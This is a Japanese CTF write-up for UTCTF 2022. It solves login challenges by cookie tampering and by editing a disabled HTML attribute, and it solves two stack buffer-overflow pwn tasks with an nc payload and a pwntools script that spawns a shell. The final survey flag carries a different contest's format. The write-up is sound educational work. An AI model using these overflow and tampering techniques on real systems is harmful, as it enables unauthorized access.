この大会は2022/3/12 9:00(JST)~2022/3/14 9:00(JST)に開催されました。
今回もチームで参戦。結果は1657点で560チーム中186位でした。
自分で解けた問題をWriteupとして書いておきます。
Discord Rules (Misc)
Discordに入り、ルールに「チェックマーク」でリアクションすると、いろいろなチャネルが現れる。#generalチャネルのトピックを見ると、フラグが書いてあった。
utflag{@gree_2_t3rms&cond1t10n$}
Login as Admin Pt 1 (Beginner)
CookieのisAdminをTrueに設定し、admin/adminでログインすると、フラグが表示された。
utflag{t1m3_2_upd8_th@t_l@me_pwd}
Login as Admin Pt 2 (Beginner)
admn/adminでログインできればよいが、Log Inボタンが押せない。ブラウザのデベロッパーツールで編集し、inputタグの「disabled=""」を削除する。Log Inボタンが押せるようになるので、admn/adminでログインすると、フラグが表示された。
utflag{*re@lly*gott@_upd8_th@t_pwd}
Baby Shark (Beginner)
httpでフィルタリングする。No.15でflag.pngのGETリクエストのレスポンスがあるので、エクスポートする。この画像にフラグが書いてあった。
utflag{eye_c_what_u_c}
AAAAAAAAAAAAAAAA (Beginner)
Ghidraでデコンパイルする。
undefined8 main(void) { char local_78 [111]; char local_9; local_9 = '\0'; gets(local_78); if (local_9 == 'B') { get_flag(); } return 0; } void get_flag(void) { char *local_18; undefined8 local_10; local_18 = "/bin/sh"; local_10 = 0; execve("/bin/sh",&local_18,(char **)0x0); return; }
BOFで任意の111バイトの後にBを指定すれば、/bin/shが起動される。
$ nc pwn.utctf.live 5000 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB ls flag.txt cat flag.txt utflag{you_expected_the_flag_to_be_screaming_but_it_was_me_dio98054042}
utflag{you_expected_the_flag_to_be_screaming_but_it_was_me_dio98054042}
Jump around (Beginner)
Ghidraでデコンパイルする。
undefined8 main(void) { char local_78 [112]; printf("You know the drill"); gets(local_78); return 0; } void get_flag(void) { char *local_18; undefined8 local_10; local_18 = "/bin/sh"; local_10 = 0; execve("/bin/sh",&local_18,(char **)0x0); return; }
BOFでget_flag関数をコールすればよい。
$ gdb -q ./jump Reading symbols from ./jump...(no debugging symbols found)...done. gdb-peda$ pattc 128 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA' gdb-peda$ r Starting program: /mnt/hgfs/Shared/jump You know the drillAAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x0 RCX: 0x7ffff7dcda00 --> 0xfbad2288 RDX: 0x7ffff7dcf8d0 --> 0x0 RSI: 0x405671 ("AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA\n") RDI: 0x7fffffffdd81 ("AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA") RBP: 0x41414e4141384141 ('AA8AANAA') RSP: 0x7fffffffddf8 ("jAA9AAOA") RIP: 0x4011aa (<main+52>: ret) R8 : 0x4056f1 --> 0x0 R9 : 0x7ffff7fdd4c0 (0x00007ffff7fdd4c0) R10: 0x405010 --> 0x0 R11: 0x246 R12: 0x401090 (<_start>: endbr64) R13: 0x7fffffffded0 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x40119f <main+41>: call 0x401080 <gets@plt> 0x4011a4 <main+46>: mov eax,0x0 0x4011a9 <main+51>: leave => 0x4011aa <main+52>: ret 0x4011ab <get_flag>: endbr64 0x4011af <get_flag+4>: push rbp 0x4011b0 <get_flag+5>: mov rbp,rsp 0x4011b3 <get_flag+8>: sub rsp,0x10 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffddf8 ("jAA9AAOA") 0008| 0x7fffffffde00 --> 0x0 0016| 0x7fffffffde08 --> 0x7fffffffded8 --> 0x7fffffffe22f ("/mnt/hgfs/Shared/jump") 0024| 0x7fffffffde10 --> 0x100008000 0032| 0x7fffffffde18 --> 0x401176 (<main>: endbr64) 0040| 0x7fffffffde20 --> 0x0 0048| 0x7fffffffde28 --> 0xe3689c9d93483736 0056| 0x7fffffffde30 --> 0x401090 (<_start>: endbr64) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x00000000004011aa in main () gdb-peda$ patto jAA9AAOA jAA9AAOA found at offset: 120
#!/usr/bin/env python2 from pwn import * if len(sys.argv) == 1: p = remote('pwn.utctf.live', 5001) else: p = process('./jump') elf = ELF('./jump') get_flag_addr = elf.symbols['get_flag'] payload = 'A' * 120 payload += p64(get_flag_addr) data = p.recvuntil('drill') print data + payload p.sendline(payload) p.interactive()
実行結果は以下の通り。
[+] Opening connection to pwn.utctf.live on port 5001: Done [*] '/mnt/hgfs/Shared/jump' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) You know the drillAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xab\x11\x00\x00\x00 [*] Switching to interactive mode $ ls flag.txt $ cat flag.txt utflag{we_do_be_overflowing_those_stacks13318}
utflag{we_do_be_overflowing_those_stacks13318}
Scrambled (Cryptography)
記号や数字を含む、換字式暗号になっている。頻度分析をして、推測しながら復号する。文字はキー入力になっており、Shiftキーなども含まれることに注意する。
with open('message.txt', 'r') as f: enc = f.read().rstrip() dic = {} for c in enc: if c in dic: dic[c] += 1 else: dic[c] = 1 # data for frequency analysis dic2 = sorted(dic.items(), key=lambda x:x[1], reverse=True) print(dic2) # guess(+: Shift key) C = ',-./01234#5#678=[]abcfghijlmnopqr#tuvxyz'.replace('#', '') P = 'gvyd/pi*\'\\kocsh]+,wn 1*l*tbafe\n.rmu*[' dec = ''.join(P[C.index(c)] for c in enc) print(dec)
途中まで復号すると、以下のようになる。
+hello+1 +i will send you the flag in a second. +something funny happened though+1 +i picked up my keyboard, but the keys were in weird places.*+i don't know what happened, but it's okay since +i stare at the keyboard anyways +*+***+also +i've had a crush on you for years, do you want to go out with me+/ *+anyways, here is the flag +*hopefully+*+* utflag+[+sub+sti+tu+t+io+n+\c+i+ph+er+\+i+\h+ar+d+ly+\k+no+w+\h+er+]*
なお、"+"はShift Keyを表すように復号した。それを踏まえ書き直すと、以下のようになる。
Hello! I will send you the flag in a second. Something funny happened though! I picked up my keyboard, but the keys were in weird places.*I don't know what happened, but it's okay since I stare at the keyboard anyways +*+***Also I've had a crush on you for years, do you want to go out with me? : (数回改行) *Anyways, here is the flag +*hopefully+*+* utflag{SubStiTuTIoN_cIPhEr_I_hArDLy_kNoW_hEr}*
utflag{SubStiTuTIoN_cIPhEr_I_hArDLy_kNoW_hEr}
Mid CTF Survey (Misc)
アンケートに答えたら、フラグが表示された。
d3ctf{THAnk_yOu-F0R~parTIc1pAtinG-IN~D^3CTF~2O22}